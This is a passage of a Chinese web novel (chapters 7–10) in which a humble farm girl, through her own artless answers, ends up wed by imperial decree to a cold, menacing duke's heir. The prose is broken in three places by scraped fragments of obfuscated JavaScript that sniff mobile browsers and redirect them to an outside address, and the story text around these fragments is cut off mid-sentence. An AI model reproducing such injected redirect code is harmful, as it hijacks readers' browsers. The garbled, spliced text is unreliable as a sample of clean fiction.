医女没有发现任何不对,包裹里面的东西才显露在薛贵妃的面前。 “平安符,还有……五彩绳啊。”薛贵妃发现那条编织好的绳子,怔忪半晌,眼眶不由湿润,她比薛含桃这个堂妹年长整整九岁,犹记得叔父叔母将五彩绳系在堂妹襁褓上的场景。 那时叔父叔母尚未病重,她们家的日子还不错,她和两个哥哥都可以跟着叔父读书识字,其中她的天分是最高的,两个哥哥学了两年就坚持不下去了,只有她,识的字最多。 回忆起从前,薛青娥拿着五彩绳,脸上生出几分温情,烛光下的眉眼分外柔和。 恰巧,德昌帝这个时候过来柔仪殿探望小皇子。 撞见薛贵妃烛下的神采,他心头一动,清癯苍老的面庞微微一缓,“贵妃手里拿的什么?” “陛下!”薛贵妃一惊,急着起身,被德昌帝按下了。 “莫要惊动皇儿。” 襁褓里面的小皇子出生几日了,虽然太医们都说康健,但瘦瘦小小的,眼睛也还没睁开。 德昌帝知道这是他自己的原因,他自幼多病,纳了许多妃嫔,多年来膝下只有三位公主不说,公主们身体尽孱弱不堪。如今好不容易有了一个皇子,他比眼珠子看的还紧。 “回陛下,妾身的妹妹为皇儿求了平安符,您看,她还编了我们家乡的五彩绳。在我们那里,五彩绳系在孩子的襁褓上有辟邪的功效。”薛贵妃柔声细语地解释,她知道德昌帝最在乎什么。 “可以辟邪,甚好。”德昌帝沉吟片刻,让薛贵妃照着做。 薛贵妃温顺地点点头,抬手将五彩绳系上去。可能是绳子的五种颜色在烛光摇曳下太过闪耀,下一刻,襁褓里面的小皇子慢慢睁开了眼睛。 黑色的眼珠,很有神。 “皇儿睁眼了!”薛贵妃惊讶出声,德昌帝大喜,激动之下手都在颤抖。 只要他的小皇子平安长大,这江山就永远不会落到他憎恨的仇人手上。 这是他的儿子,他的血脉! “咳……贵妃,你那妹妹咳…果然有福,皇儿出生第七日上皇家玉牒,朕那日会宣伯翀进宫,为他们赐婚。朕与伯翀亲如父子,他定然明白朕的苦心。” “妾身明白了,那日妾身也会让小桃到柔仪殿。小桃若知道能嫁给名满天下的崔世子,心中也定会欣喜不已。” 薛贵妃压根不把上次见面堂妹推拒的话放在心上,崔世子多么出色的人物,小桃年纪小不懂事,日后就会明白她的苦心。 虽然这般类似的话多年前,薛贵妃也曾在自己的父母亲口中听到过。 那时的她嗤之以鼻。 7. 第七章 “京城多才俊,要说身份贵重才貌双全的,当数这四位。东宁伯府的闻三郎君,观文殿张大学士的嫡孙张七郎君,平西将军府的韩小将军,以及安定曹氏的曹十一郎。” “四位郎君均在及冠之年,听说家中正在为他们相看婚事,尚未有定论,娘子若有心的话不妨一试。” 半下午,天色凉了下来。王牙媪喝一口热茶,看向对面端坐的贵人小娘子,笑容暧昧。 她昨日厚着脸皮找上扈姑姑,死磨硬泡了数个时辰,总算功夫不费有心人,叫她听得一些隐秘。 以往,她一个三等媒人哪有可能知道都城高门郎君与娘子们的婚配。扈姑姑一开始还想用小官小吏打发她,她将抱过去的匣子打开,扈姑姑的态度就变得慎重许多。 据扈姑姑说,这四位郎君已是顶顶地好,不知多少小女娘的父母奉上厚礼托她给说亲。 “嗯,这些人我都听过的。”薛含桃听了王牙媪的话,装模作样地点点头,面纱下的小脸却还是故意绷着,叫王牙媪发现一点端倪。 “娘子难道对这几位郎君犹不满意?” “几位郎君虽好,但我觉得都不如另外一人。” 王牙媪察觉贵人小娘子表现出的几分遗憾,一口气提了上来。 “不知娘子说的是哪位郎君?” “月前他曾到樊州赈灾安置万民!” 薛含桃的语气骄傲,没有留意在听到这句话时王牙媪和果儿脸上同时出现了一种茫然。 到樊州赈灾?那是谁? “他就是定国公世子崔郎君啊。” 崔世子……王牙媪呼吸骤停,果儿的神色亦是发生变化。 全天下的人谁能不识得崔世子呢?文能提笔安天下,武能上马定乾坤,十六岁惊才绝艳的状元郎,二十岁亲自上阵以五千兵力击退十万金兵保卫了汴州的武将军。 汴州城就在她们的北面,距离大周的都城仅有百里,汴州若失,金兵长驱直入,国土半数不存。 王牙媪还记得三年前的那个秋末,金兵一路打到汴州的消息传开,到处都是乱糟糟的,人人惶恐不已,皇帝老爷也要带着百官往南逃,她和女儿自知跑不远,于是躲在家里害怕地连门都不敢出。 然后,在她们最绝望的时候,汴州城保住了,金兵大败而归。王牙媪和女儿欣喜若狂,挤到街上欢迎得胜归来的王军,那一天,她幸运地望见了马背上的崔世子。 天之骄子,煌煌如日,一瞬间王牙媪的脑海中只剩下了这一句话。 “娘子想要嫁给崔世子?” “嗯,”薛含桃“羞涩”地垂下颈子,“都城中爱慕崔世子的人一定很多吧?我想知道自己能否争一争。” “当然……数不胜数。”王牙媪面露迟疑,“不必向扈姑姑打听,就连我一个三等媒人也有所耳闻,北信侯府唐家九娘子、宣武将军府卢家三娘子以及晋王殿下之女仪静县主都曾对外直言此生非崔世子不嫁。” 女儿家性情大多含蓄,几位娘子大胆求爱却并未被世人苛责,而是成为一时的美谈。主要因为喜爱崔世子实在太常见了。 “这么多小娘子,她们都是很好的人吧?”薛含桃默默将三人记在心里,她们都爱慕世子非世子不嫁,只要世子去提亲,这桩婚事就能成了。 “娘子说笑了,我哪曾得见?不过几位娘子既有高贵的出身,性情才名自是不会差的。” 王牙媪出声感叹。 --- 回到小院,薛含桃洗去脸上的敷粉,换上了常穿的布裙,很快从贵人小娘子又恢复成原先平凡普通的农女。 就像是变了一场戏法,最后她还是她。 果儿对此颇有些遗憾,她所谓从宫中习得的装扮手法恐怕要许久才有机会用了。 “娘子,您如果想嫁得一个如意郎君,就该每日打扮自己。”果儿看见她身上半新不旧的细布裙子,总觉得不顺眼。 薛含桃坐在草席上,手指认真为阿凶梳理毛发,闻言头也不抬,“没有用的。” 阿姐说了,她的婚事可以用来保护小皇子,那么嫁不了崔世子,应该很快还有旁人吧。因为小皇子的缘故,那些人的家里肯定有权势有地位,也肯定……看不上她。 她穿上漂亮华美的衣裙也没有用,王牙媪愿意帮她肯定是认出了阿姐赏给她的云霞锦珍贵异常。 薛含桃这般一解释,果儿张了张口,渐渐消了声音。 是了,提起那唐九娘、卢三娘、仪静县主的时候,王牙媪的神态是从骨头里面散发出的尊敬。 因为她们才是真正的名门贵女,底蕴深厚。 而薛含桃只是好运地有了一个贵妃姐姐罢了,有形无态,就算穿上了华美的衣裙,在王牙媪的眼中,恐怕也是那匹霞锦更值得敬畏。 “只要贵妃娘娘在,娘子将来的地位也会越来越高的。”果儿含含糊糊开口,到底有些底气,然而转头一看,她家娘子又老老实实地开始抄书了。 大黑狗卧在她的脚边,尾巴轻摇,一声不吭。 果儿气得跺了跺脚,准备出门买吃食。 “果儿姐姐,纸墨快没有了,你帮我买一些吧。” 果儿回头,对上一双巴巴望着她的大眼睛,瞬间消气。 “唉,知道了。” 这天晚上,点了蜡烛,薛含桃一动不动地坐着,抄完了一卷《金刚经》。 书阁的掌柜很喜欢她的字,不时会指定让她抄写一种书籍,开的价钱丰厚。 薛含桃心里知道原因,每每赚到银钱的时候总会默默地道一声谢谢。 次日,她又是天不亮就醒了。 吃过早膳,她借口去书阁,一个人走出了院门。 薛含桃没忘记今天就是世子和她约定好的最后一日了,她人微力薄,能做的不多,只能打听到这一步。 听王牙媪说,三位娘子都是很好的人,也爱慕着世子。 世子无论选择哪一位去提亲,结果应该都是圆满幸福的吧。 薛含桃想到恩人不会因为自己而被人耻笑,弯起了眼睛,脚步也变得轻快许多。 走到封大娘子家的糕点铺子附近,她顿了顿,进去买了两斤枣泥糕,枣子可以补气血,对身体好呢。 “这是什么点心?闻起来有花香。”伙计用油纸把她买的枣泥糕包起来时,薛含桃的注意力被一方乳白色的点心吸引住了。 香香的,甜甜的,很像她在国公府嗅到的气味。 “薛娘子,这是银霜糕,用汴州特产的银桂制成,味道甜而不腻,就是……贵了点。” 伙计热情地为她介绍,薛含桃听到汴州两字立刻心动了,汴州保卫战也是世子身上不可磨灭的功绩! 她摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234175|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸身上的荷包,咬牙买了一斤。 不是她抠门,而是身上剩下的钱只够买这么些了,唉,早知道她应该先去书阁的。 不过现在说这些晚了,最后她只得提着两斤枣泥糕和一斤银霜糕走到定国公府门前。 好在今日的护卫还是那个脸黑的大人,薛含桃这次没费什么功夫就等来了方振。 “方大哥,我来见世子!” 她对着方振没有保留,说自己已经打听好了爱慕世子的小娘子,只等着世子上门去提亲。 方振听她一口气说完,心里五味杂陈,深深望了她一眼,回了句世子不在府中。 然而实际上崔世子就在东院,只是薛含桃来的不巧,世子刚见过一位客人,眼下心情应该是最刻薄的时候。 “哦,世子不在,那……那方大哥帮我把话传达给世子吧,我去拜访了都城中的媒人,媒人又找了第一等的官媒,说是城中许多娘子都愿意嫁给世子……”薛含桃尴尬地低了低头,连忙将自己打听到的三位小娘子告诉方振,末了又嗫嚅声音承认自己的无能,“我只能做到这么多了,希望世子不要怪罪我。” “小桃,你已经做的很好了,世子也知道你的努力。”方振开口安慰她,语气微有怜悯。 其实,做多做少都没有任何区别,她的努力只是徒劳,因为结果已经注定了。再者,她提到的三家很早之前就表露过想和世子结亲,世子若是想成婚何必等到现在。 “那我就放心了。”闻言,薛含桃终于卸下了心头的一块石头,她长长舒气,将手中提着的点心递给方振。 “这个是送给世子的,祝世子身体安康,姻缘美满。” 糕点送出去,小姑娘就像是成功地完成了任务,又是一口茶水未喝,匆匆离开定国公府。 方振望着她小小的身影远去,等到影子都不见了才提着两个油纸包回到东院。 只是,他才开口提了小桃一个字,就被世子一个冷戾的眼神逼退。 方振无奈,只好安静地退下。 “慢着,里面装的什么?” 房间里面清清冷冷,崔伯翀嗅到另两种混杂的气味,语带厌倦地开口。 “这是小桃送给郎君的糕点,小桃祝郎君您身体康健,姻缘美满。” 方振话音落下,不出意外地听到了一声凉薄的轻笑。 “拿过来。” “是。” 崔伯翀慢慢悠悠地打开了两个油纸包,深红色和乳白色的糕点可怜巴巴地挤在一起,红的多白的少。 样式简单,做法也粗糙,和定国公府中花样精致的茶点完全没的比。 “郎君,小桃才与薛妃相认,想来身上没什么钱。”方振认出这是市井中的寻常点心,解释道。 崔伯翀不理会,先拿起了一块深红色的,尝出枣泥的味道,他淡淡道,“确实吝啬。” 受了他一人一狗两条命的恩情,就想用普普通通的枣泥糕来偿还,痴人说梦。 方振看着他一口一口吃完整块糕点,一言不发。 “想必,这种要贵一些。”崔伯翀轻而易举地猜出两种糕点的价差,也不需要方振的回答。 拿起一块乳白色的,放在唇边。 咬一口,他又笑了。 一整包的银霜糕被他吃得干干净净,沉默寡淡的模样像是在吞噬血肉。 8. 第八章 一卷《金刚经》交给书阁掌柜,薛含桃的荷包里面又多出了二两碎银。 路过屠户家的肉铺,再出来时,她的手中提着两根剃的光秃秃的大骨头和一块很小的红肉。 “恁地穷酸样,吃口肉都不敢带肥,说有个官夫人姐姐,净是骗人的花头!”街头的郑婆子隔不远看见她,驴脸耷挂,端来一桶污秽的黑水险些泼在薛含桃的身上。 薛含桃还没开口,耳边就传来了熟悉的狗叫以及果儿怒骂的声音。 “好你个老太婆,敢欺负我家娘子!”果儿气冲冲地赶过去,便要去撕郑婆子的嘴。 薛含桃见状,连忙抱住她的手臂,在她耳边小声说了一句话。 果儿的眼珠转了转,从地上抓了一把土,扑面朝郑婆子撒去。 “唉哟唉哟,死丫头,烂心烂肝,被卖到花楼里的命!”郑婆子被撒了一脸的土,气的不轻,嘴里骂骂咧咧地就要冲过来打人,然后她一脚踩在自己泼的黑水上,摔了个屁、股墩。 看到她这样,薛含桃和果儿两人都大声笑了起来。 郑婆子顿时火冒三丈怒不可遏,抓到那个臭烘烘的木桶就想朝着薛含桃砸过去,大黑狗挡在前面,咧开嘴冲着她呲牙。 深棕色的眼睛带着兽类特有的冰冷。 郑婆子一时说不出任何话。 “阿凶,我们走,回家给你煮肉骨头了。”薛含桃虽老实但也不是任人欺负的性子,她看了郑婆子一眼,昂着头唤走了大黑狗。 神气的模样像是山林间没有被大风吹倒的小草。 野草命贱,却可以活很久。 - 这天,薛含桃放心地睡了一场懒觉,大黑狗守在她的榻前,一直到日上三竿,她才被果儿兴奋的声音叫醒。 “娘子,快醒醒,换一身新衣裙,贵妃娘娘派了人过来,现在就要接您入宫。” 果儿作为薛贵妃派来的宫女,对薛含桃进宫一事抱着极大的热情。 在她看来,薛贵妃好,娘子才可以跟着变好。 她态度积极地招待柔仪殿的宫女,薛含桃却一反常态,动作磨磨蹭蹭,穿个衣服都用了一刻钟的时间。 像是还没有睡醒。 眼看柔仪殿的人等地有些不耐烦,果儿赶紧过去,拿起一根最繁复的赤金步摇插在薛含桃的发间。 头发来不及细细梳理,就用红绳将发尾左右绑起来,这样看上去还是有些凌乱,但乍一看竟有一种慵懒的美感。 柔仪殿的宫女见了以为薛含桃用心打扮,不由点了点头,暗道她比上一次进宫时有了长进。 “不如,姐姐再喝口茶吧?”眼看要出门了,薛含桃的眼睛总算恢复了神采,不再是呆呆的。 “娘子,进宫事大。”宫女笑笑,也觉得她睡懵了,根本不怀疑她在拖延时间。 薛含桃抿了抿唇,探身钻进了马车里面。 一颗心怦怦跳。 阿姐应该还会提陛下赐婚的事吧,不过她转而一想,定国公府的人肯定更不情愿有她这么位世子夫人,也许昨日就到与世子相配的小娘子家里提亲去了。 ……调整好呼吸,她第三次步入薛贵妃的柔仪殿。 “胡姑姑。”抬头看到胡茵儿,薛含桃和她打招呼。 “咦,今日娘子的装扮别有一番趣味。”在胡茵儿的目光中,薛含桃依旧是不美丽也不大气的,可晃动的金色步摇,散落的几缕发丝以及她臂间垂挂的浅紫色披帛都为其增添了一股灵动。 倒是抓眼。 胡茵儿把薛含桃身上的变化归因于她逐渐开窍,带她到贵妃所在的内殿途中,神色亲切地提醒了一句。 “陛下和娘娘都十分满意娘子送进宫的五彩绳。” 据说那根五彩绳方系在小皇子的襁褓上,小皇子就睁开了眼睛。陛下龙颜大悦,特意吩咐要重赏薛娘子。 至于这份赏赐指的是什么,胡茵儿心里有数,也不禁羡慕,身边的小娘子运道绝好。 - 柔仪殿中,薛贵妃还在坐月子,头上勒着抹额,状态和薛含桃上一次见她并无变化。 不过,她的神色看起来比之前欢喜。 薛含桃跪下朝她行礼,她笑吟吟地受了,直接让薛含桃坐在她的榻前,又让嬷嬷将小皇子抱过来, “小桃,你抱抱他。” “阿姐,我手笨……万一伤到小皇子怎么是好?” 薛含桃根本不敢伸手抱,她还记得嬷嬷们的小心谨慎,弯弯嘴唇露出一个憨厚的笑容。 “我就你这么一个妹妹,皇儿外家也只一个亲姨母,皇儿怎能不与你亲近。”薛贵妃不以为意,坚持要薛含桃把小皇子接过去。 殿中的许多双眼睛都瞧着,薛含桃无法说服薛贵妃,只得小心翼翼地伸出胳膊,将小皇子放在自己的臂弯。 小皇子又小又软的一团,看上去十分娇弱。 她一动不动地盯着,连大气都不敢喘。好在小皇子估计是吃饱了,在她的怀里没有哭也没有乱动。 “陛下已经为皇儿取了名字,就叫赵安,愿他一生平安顺遂。”薛贵妃温柔地注视生下来的儿子,然后将目光转移到堂妹的身上。 她记得小桃生下来的时候也很瘦弱,比一只小老鼠大不了多少,叔父和叔母得知生了个女儿都有些失望,只有她心里怀着隐秘的喜悦。 为什么呢?现在的薛贵妃已经不太记得了,大概从前的薛青娥也说不明白吧。 或许多一个乖巧懂事的妹妹,是要比多一个被宠坏的弟弟强上许多。 “小桃,上次阿姐和你说的话你还记得吗?”薛贵妃瞥见小皇子在堂妹的怀中安然睡着,示意嬷嬷将襁褓抱走。 薛含桃悄悄放松酸疼的胳膊,听到薛贵妃的询问,立刻打起了十二分精神。 “记得!”她重重点头,仍旧坚持自己之前的说辞,她配不上崔世子,而且还要告诉阿姐,崔世子曾经不仅救过她的命,还收留了无处可去的她一段时间……她欠崔世子很多很多,所以不想连累他娶一个配不上他的夫人。 “记得便好,省得本宫再说一遍。茵儿,带她去延和殿觐见陛下吧。”然而薛贵妃根本没有给她开口的机会,胡茵儿就已应声上前。 “娘子请跟着奴婢,奴婢在途中会为您讲解觐见陛下的礼仪,今日是您第一次面圣,切不可出错。” 薛含桃没想到自己和阿姐什么都还没说,又要直接去觐见陛下,一张小脸写满了茫然。 一路上,胡姑姑和她交代的礼仪她仿佛全只过了耳朵,没记在心里。 “娘子若实在记不住,那便只做一件事,跪下谢恩。”胡茵儿因着她神游天外的状态暗皱了下眉,无奈出此下策。 跪下谢恩,虽然看起来笨拙,但总是挑不出错处的。 “哦,嗯,我……我跪下谢恩。”薛含桃的脑子乱成了一团浆糊,阿姐那边尚未理清楚,陛下为什么要见她呢? 她有什么值得陛下见的?陛下是天子,是掌管着所有人生死的君主,她只是一个农女,渺小如同一只蚂蚁。 阿姐最后的那句话又是什么意思?薛含桃的手指仿佛触碰到了一层迷雾。 - “陛下,薛娘子到了。” “传她进殿。” “是。” 薛含桃的眼睛盯着地面,走进比柔仪殿庄重宽敞的延和殿,一等到前方内侍的脚步停下,她直愣愣地跪了下去。 扑通一声,很响亮。 德昌帝挑了挑眉,出乎意料地态度温和,“不必多礼,你是贵妃的妹妹,按照礼数,唤朕一声姐夫也使得。” “姐…姐夫。”薛含桃身上有个优点,不懂的时候就按别人说的做,陛下让她唤姐夫,她张张口,照着做了。 殿中传开轻微的抽气声,德昌帝再次感觉到意外,万万没料到聪慧过人的薛贵妃竟然有一个没什么心眼子的老实妹妹,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234176|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的一眼能看穿。 笨拙、简单、不怎么……漂亮,和薛贵妃两模两样。 这样的人啊,他在宫里很多年没见到过了。 也好,没什么心眼才好,容易掌控。不过,有人大概不喜欢。身为女子,她没有七窍玲珑心也没有无双的姿色。 德昌帝的目光似有若无地掠过一处,紧接着开口命人赐座,看向薛含桃眼神甚至带有长辈的宽仁,接下来问她的话也是如此。 “你叫什么名字?今年多大了?” “我爹给我取名含桃,阿姐叫我小桃,我今年十六岁……不对,十七岁了。” 薛含桃磕磕巴巴地和皇帝解释,她是夏初的生辰,过一个生辰就大一岁,所以即便满十六岁才几个月,她也有十七岁了。 德昌帝听了直笑,说京城也是如此。 “我到京城还只有一个月,没人和我说过。”薛含桃窘迫垂头,长到这么大,她只知道樊州的习俗,若非遇到洪水恐怕连丰县的地界也不曾离开。 闻言,德昌帝叹了一口气。他成为天子后也没有离过京城。 “樊州,那里有水灾,你与许多百姓都受苦了。” “天上发来大水,许多人没有逃开……死了。可是我不苦,我不仅活着到了京城找到阿姐,现在每天也吃得起肉了。” 皇帝的慈和也让薛含桃放下了紧张,她的话音落下才后知后觉自己说了蠢话,不好意思地红了脸。 殿中忽然有人笑起来,几分肆意,几分嘲弄。但挺好听的,薛含桃不知道谁在笑她,又听入了迷,回过神后更加难为情。 德昌帝轻咳了一声,笑声才停下来,他居高临下地看着殿中的小姑娘,开始了正题,“贵妃告诉朕,你与伯翀同行,怪不得,他被朕派去樊州赈灾,而你是受灾的灾民。告诉朕,你见过他吗?” “见过,”薛含桃点头,一脸诚恳,“世子是位大善人,仁民爱物,扶危济困。” 世子是被陛下派去赈灾的,按照常理,她要在陛下的面前夸赞一番。 “大善人,”德昌帝眯起眼睛,“朕第一次听到这样的评价。” “除此之外呢?你对伯翀就没有别的印象了吗?比如相貌。”他接着问,很有耐心地引导。 “世子的模样……恍若神明,看到了他就再也看不到别的。”薛含桃陷入回忆,低声喃喃道。 诚实地令人不忍苛责她的蠢笨。 果然,下一刻,德昌帝就一举定下了结论,笑着点头,“你心悦伯翀,朕已知晓。朕如今既然被你应一声姐夫,那就应了你的心愿,为你做一桩媒。” “来人,拟旨,薛贵妃之妹天真烂漫,德容兼备,为朕看重,今特指婚定国公崔羿之嫡长子,于下月完婚。” 赐婚来的如此猝不及防,薛含桃整个人顿时僵住。她不明白自己明明是在回答陛下的问题,也不曾有错,怎么就越到了赐婚一事上。 然而,接下来更让她如遭雷劈的事情发生了。 “伯翀,朕为你找到一位心悦你的好妻子,还不快出来谢恩。”德昌帝含笑开口,一个人影缓缓地从殿中一侧出现。 他身量很高,身形颀长,出现的那一刻,就压过了殿中的所有人。 而最吸引人注意力的却不是他优雅的姿态,而是那双纯黑色的眼瞳与冷白肤色惊心动魄地对比。 薛含桃怔怔地望着他靠近,在他开口的瞬间猛然意识到自己做了一件蠢事。 她之前才与世子保证过不会让自己成为世子的笑柄,可眼下呢?是她的回答促成了这桩婚事! 尽管陛下早就有这个意思。 但世子定然会误会她吧? “臣,多谢陛下赐婚。”崔世子走到殿中,淡淡向身旁瞥去一眼,笑声短促玩味,“为臣寻得一位美娇娘。” 美娇娘?薛含桃听到这三个字,一颗心跌至谷底。 不是这样的。 她有些想哭。 9. 第九章 赐婚过后,崔伯翀又在延和殿待了一段时间。德昌帝本想留他一起用午膳,被他以尚未饮药的借口婉拒。 “唉,快满三年了,伯翀的伤仍未好。”皇帝的表情不无遗憾,但也仅仅是如此,下一刻,崔伯翀漫不经心地走出延和殿。 一出殿门,燥候的热浪扑面而来,他漠然地抬了下眼皮,周身气压低沉。 深宫之内,任何人禁用轿辇车马。他不得不走到连接内廷和皇城的东华门,那里停留着定国公府的马车。 当充当车夫的罗承武发现他而迎上前时,崔世子的表情极其阴郁,天气还未转凉却硬是给人一种腊月寒冬之感。 罗承武微微垂首打开车门,一声都不敢吭。经验告诉他,这个时候的世子脾气最差最难伺候,稍有不顺“新仇旧恨”一起算,绝不是上次被随便砸一下就可以过去。 然而,变故也在这一刻发生。 一个瘦小的身影突然从东华门内跑来,冲到世子的面前,正好挡住他们的路。 她的动作很是迅速,连罗承武都恍惚了一瞬,以为自己眼花了。 “跑过来一只小耗子,你说是该扒皮还是应该抽筋?” 耳边传来世子似笑非笑的声音,罗承武听出其中夹杂的怒意,浑身一激灵。 哪怕很快认出挡在前面的人是那个姓薛的老实小姑娘,他依旧不客气地亮出了刀鞘。 “不要。”薛含桃的心在狂跳,语气急切地都带上了哭腔。 “世子,不是那样的,我可以解释。”她仰着头,躲躲闪闪地同面色阴冷的男子对视,无意识地重复说道,“我可以解释的。” 她就知道世子一定误会她,生她的气了,她要和世子解释清楚。 她只是在夸赞世子,压根没有在陛下的面前说自己心悦世子,请求陛下为他们赐婚。 “如果知道,我定然不会那么说了。”情绪低落的小姑娘喃喃自语,整个人都在怀疑人生。 “你的意思是本世子既不是扶危济困的善人,相貌也丑陋难看无法入你的眼?”崔伯翀扯开嘴角,垂头看向少女发间晃动不止的赤金步摇,语气讥诮。 “不,我不是这个意思……我是要说……我…没有心悦世子。”薛含桃急的要冒烟,双手比划了一下,想说也不是这个意思,然而她嘴笨怎么都表达不清楚。 可崔世子已经不耐烦再听她讲话,热气消磨了他所有的好脾性。 “闭嘴,进去。”他双眸微阖,瞥了下开着车门的马车。 表情冷淡。 宽敞的马车车厢里面摆放着两个冰盆,薛含桃踮起脚,刚好将冰盆收到眼底。 接着小心翼翼地看了一眼神色不虞的崔世子,她猫身钻了进去。然后,动作熟练地缩到了角落里面,一动不动。 马车车门再次被关上,仿佛将车厢里外分割成两个世界。 车厢内的氛围沉寂,薛含桃的耳边听不到一丝声音。 过了一会儿,她悄悄地抬头。 崔世子正坐在马车内的小榻之上喝茶,似乎对于她的存在一点都不在意,或者说,他生气到了极致不愿意搭理她。 薛含桃的感觉很不好受,心头又胀又涩,小声说了一句对不起。 对不起,因为她的愚蠢,让世子不得不娶她了。 她就算再没有见识也知道天子金口玉言的道理。圣旨都颁下了,便没有回旋的余地,如果世子不娶她,就会惹怒陛下,最后说不定还会落得一个抄家灭族的下场。 世子又会怎么看待她呢?他救了她和阿凶,而她前脚向他保证过不会让这桩婚事达成,后脚却亲自到陛下的面前…… 听到那一声细若蚊鸣的对不起,崔世子缓缓地伸出一只手,捏住了已经不再晃动的步摇。 “出尔反尔,欲擒故纵,”他张口,语调轻飘飘的,直接将小姑娘心里的愧疚拔到了最高峰,“吝啬敷衍。” 明明身穿华衣,头戴步摇,方振却还为她遮掩说身上没什么银钱,几块糕点都成了她珍贵的心意。 真是可笑。 “……对不起。”薛含桃咬紧嘴唇,知道自己再解释也是徒劳,只能一遍又一遍地说着对不起。 “哦,犯了错,再假惺惺地说句对不起。” “小桃子,有用吗?” 笑声将少女拉入一个极度羞耻的世界,她脸色惨白,像是被人踩在脚底下毫无生机的枯草。 “没有用……那我再去觐见陛下,求陛下,就说,就说我逃难坏了身体,不能成婚。” 人到了绝境,潜力是无限的。薛含桃又想出了另外一个法子。 她想起以前亲眼目睹过的一件事,村里有一户人家嫌弃未来的儿媳身体孱弱,闹着跑去退了婚。 这个法子说出来,崔伯翀好像是听到了一个笑话,眼眸微挑,煞是愉悦。 “有……有用吗?”因为他的这一笑,少女得到了鼓励,大着胆子问道。 “圣旨已下,你便是即刻死了,你的尸体,牌位,哦,还有你的那条杂毛狗,抬也要抬到定国公府。小桃子,你说有没有用?” 崔世子放轻了声音,手指往下,缓缓抚上她的脸颊,肌肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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崔伯翀站在她的身侧,根本不在乎所谓的“委屈”。他好整以暇地瞥向一处铺子,认出铺子上方写的点心二字,径直牵起薛含桃的手。 清新的凉意让他心中喟叹。崔世子朝着人微笑,颇具柔情。 薛含桃在原地没有动,一双含着泪花的眼睛傻乎乎地望着他,像是呆住了。 “那个白色的糕点,多买一些。” 上次的那些,不够。 似是回忆起昨日品尝的味道,他的舌尖点过牙齿,语气随即变得轻慢,“若是还如上次一般吝啬,我就把你吃了。” 瘦巴巴的桃子是什么滋味,他没有尝过。 10. 第十章 对薛含桃来说,牵手是一个代表着亲昵的动作。 手掌相贴,淡淡的温情萦绕,是一个少女对未来夫君美好的设想。可现在,牵着她手的人不是设想中普通又爱笑的青年,而是定国公世子崔伯翀。 一个完美地令她生畏的神明。 有人探头探脑地在看他们,薛含桃颇为惊惶,想把自己的手抽出来,抽了一下,没有成功。 “别动,你的手是凉的。”崔伯翀脸上的微笑因为她的躲闪而消失,面无表情。 原来世子是觉得她的手可以带来凉意啊,是了,世子不喜欢炎热的天气。 她害世子多了一桩定会被旁人耻笑的婚事,如今仅是为世子提供一点微不足道的凉意而已,确实不该躲。 薛含桃羞愧地结束一些脑海中的胡思乱想,朝着人讨好一笑,“世子想何时牵着都可以。” “我饿了。”崔伯翀的目光淡淡扫过去,提醒她要做的事。 闻言,薛含桃看向近在咫尺的糕点铺子。后知后觉之前往定国公府送的两种糕点,她立刻大声说道,“世子果然算无遗漏,银霜糕和枣泥糕就是我在这家铺子里买的。” 崔伯翀的兴致依旧不高,他随意嗯了一声,没有拆穿她拙劣的马屁。 两人牵着手朝里走去,铺子不算大,一眼就能看个分明。 各式各样的糕点分门别类地摆放整齐,有的还冒着热气,像是才做出来的。 崔伯翀不费多少功夫找到了品尝过的两种糕点,盯着其中一种,眼神专注。 “薛娘子。”熟悉的小伙计上前招呼,眼神控制不住地往他的身上瞥。 好生俊美贵气的郎君,伙计心里惊叹的同时也很奇怪。 薛娘子怎么识得的这等人物?嗬!两个人的手还牵在一起! 伙计正欲再看,一抬眼对上道冷冰冰的视线,他慌忙将脑袋转了一个方向,问薛含桃要买些什么。 “我买一些银霜糕,就是用汴州特产的银桂制成的糕点。”薛含桃没有留意小伙计的神色变化,她在铺子里面搜寻封大嫂的身影,当发现封大嫂不在后,悄悄松了一口气。 “薛娘子要买多少?”伙计脸上浮现笑容。 银霜糕价格昂贵,舍得花钱的人不多,他们正发愁卖不出去呢。 “买个一两斤……这里一共还有多少?”薛含桃也觉得银霜糕价贵,下意识就只敢买一两斤,话说到一半,她想起世子方才的警告,急急改口。 她的肉不能吃,人吃了人就变成恶鬼了。偷摸摸去瞄世子的反应,幸好,幸好,世子似乎没听见她的话。 “尚有三斤多一些,娘子若都买了,合起来我少要您五个铜板。”伙计热情建议。 “嗯,都……都要了,帮我包起来。”薛含桃从荷包里面拿出一角碎银,最后只换回来一个硕大的油纸包,以及寥寥几个铜板。 铜板仔细数过,再放进荷包里面,薛含桃的心就踏实了。 然后,她将油纸包打开一个小口,又向伙计要了干净的油纸,用油纸裹起一块香甜的糕点。 这样就不会弄脏手指。 “世子您先吃一块,肯定和昨日的味道一样。”薛含桃踮着脚尖,将裹着油纸的糕点递给崔伯翀。 崔世子不疾不徐地接过来,吃完了一块,又吃下一块,全程只是动动手指和牙齿。 罗承武守在铺子门口,看到这一幕,心头受到的冲击比世子方才牵起薛含桃的手还要大。 